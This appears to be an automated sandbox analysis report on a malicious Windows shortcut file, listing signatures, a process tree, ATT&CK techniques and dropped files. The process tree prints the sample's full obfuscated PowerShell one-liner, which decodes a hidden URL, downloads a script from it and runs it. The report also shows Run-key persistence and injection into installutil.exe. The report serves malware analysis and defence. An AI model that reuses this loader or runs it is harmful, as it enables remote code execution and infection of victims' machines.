Analysis
- max time kernel
149s - max time network
133s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
29/07/2026, 11:42
General
- Target photov_183117091485.lnk
- Size 2KB
- Sample260729-nvgrragb53
- SHA256 66d8da0dd81bd28073abd9baeaa29fc0a04fb4d6887f2db77276c066bb06a8d9
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 7 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_183117091485.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$exe75=4;$v_sqtmt=60;$zqbfn=[bigint]::Parse('74428883166400785654130344696583343985873605');$miirl9x=[bigint]::Parse('74428882573233695196031377501526074837036892');$zqbfn=$zqbfn-$miirl9x;$ttn84rqumn=@();while($zqbfn -gt 0){$ttn84rqumn+=[char][int]([bigint]::Remainder($zqbfn,256));$zqbfn=[bigint]::Divide($zqbfn,256)};.([scriptblock]::Create((irm(-join$ttn84rqumn))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Minimized -c "$exe75=4;$v_sqtmt=60;$zqbfn=[bigint]::Parse('74428883166400785654130344696583343985873605');$miirl9x=[bigint]::Parse('74428882573233695196031377501526074837036892');$zqbfn=$zqbfn-$miirl9x;$ttn84rqumn=@();while($zqbfn -gt 0){$ttn84rqumn+=[char][int]([bigint]::Remainder($zqbfn,256));$zqbfn=[bigint]::Divide($zqbfn,256)};.([scriptblock]::Create((irm(-join$ttn84rqumn))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\heccp_wv_upd_tif9bc7fd37b58847\psl.exe"C:\Users\Admin\AppData\Local\heccp_wv_upd_tif9bc7fd37b58847\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\pslservicewinx32" "C:\ProgramData\pslservicewinx32\psl.exe""1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\pslservicewinx32\psl.exe"C:\ProgramData\pslservicewinx32\psl.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
qowocxe_licx6_ptwpseh.zip
VCRUNTIME140_1.dll
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
libpsl-5.dll
libunistring-5.dll
msvcp140.dll
psl.exe
ucrtbase.dll
vcruntime140.dll
DCRCVDrv.sys
memory/1232-10-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1232-65-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1232-16-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1232-17-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1232-18-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1232-19-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1232-21-0x000002891E850000-0x000002891E862000-memory.dmp
memory/1232-14-0x000002891E3B0000-0x000002891E3BA000-memory.dmp
memory/1232-13-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1232-12-0x000002891F000000-0x000002891F528000-memory.dmp
memory/1232-63-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1232-15-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1232-11-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1232-3-0x000002891E2D0000-0x000002891E2F2000-memory.dmp
memory/1232-9-0x000002891E900000-0x000002891EAC2000-memory.dmp
memory/1232-8-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1232-7-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1232-6-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1232-5-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1232-4-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1232-0-0x00007FFFFB70F000-0x00007FFFFB710000-memory.dmp
memory/2924-96-0x00007FF767A70000-0x00007FF767A85000-memory.dmp
memory/3784-214-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-174-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-109-0x0000000005520000-0x000000000553A000-memory.dmp
memory/3784-112-0x0000000005540000-0x000000000556C000-memory.dmp
memory/3784-132-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-152-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-222-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-234-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-232-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-230-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-228-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-226-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-224-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-220-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-218-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-216-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-1371-0x0000000006FF0000-0x00000000075AA000-memory.dmp
memory/3784-212-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-210-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-208-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-206-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-204-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-202-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-200-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-198-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-196-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-194-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-192-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-188-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-186-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-184-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-182-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-180-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-178-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-176-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-95-0x0000000000400000-0x0000000000470000-memory.dmp
memory/3784-170-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-168-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-166-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-164-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-162-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-160-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-158-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-154-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-150-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-148-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-146-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-144-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-142-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-140-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-138-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-136-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-134-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-130-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-128-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-126-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-124-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-122-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-120-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-118-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-116-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-114-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-113-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-190-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-172-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-156-0x0000000005540000-0x0000000005566000-memory.dmp
memory/3784-1367-0x00000000057D0000-0x0000000005836000-memory.dmp
memory/3784-1370-0x0000000006990000-0x0000000006A22000-memory.dmp
memory/4004-93-0x0000000000010000-0x000000000003D000-memory.dmp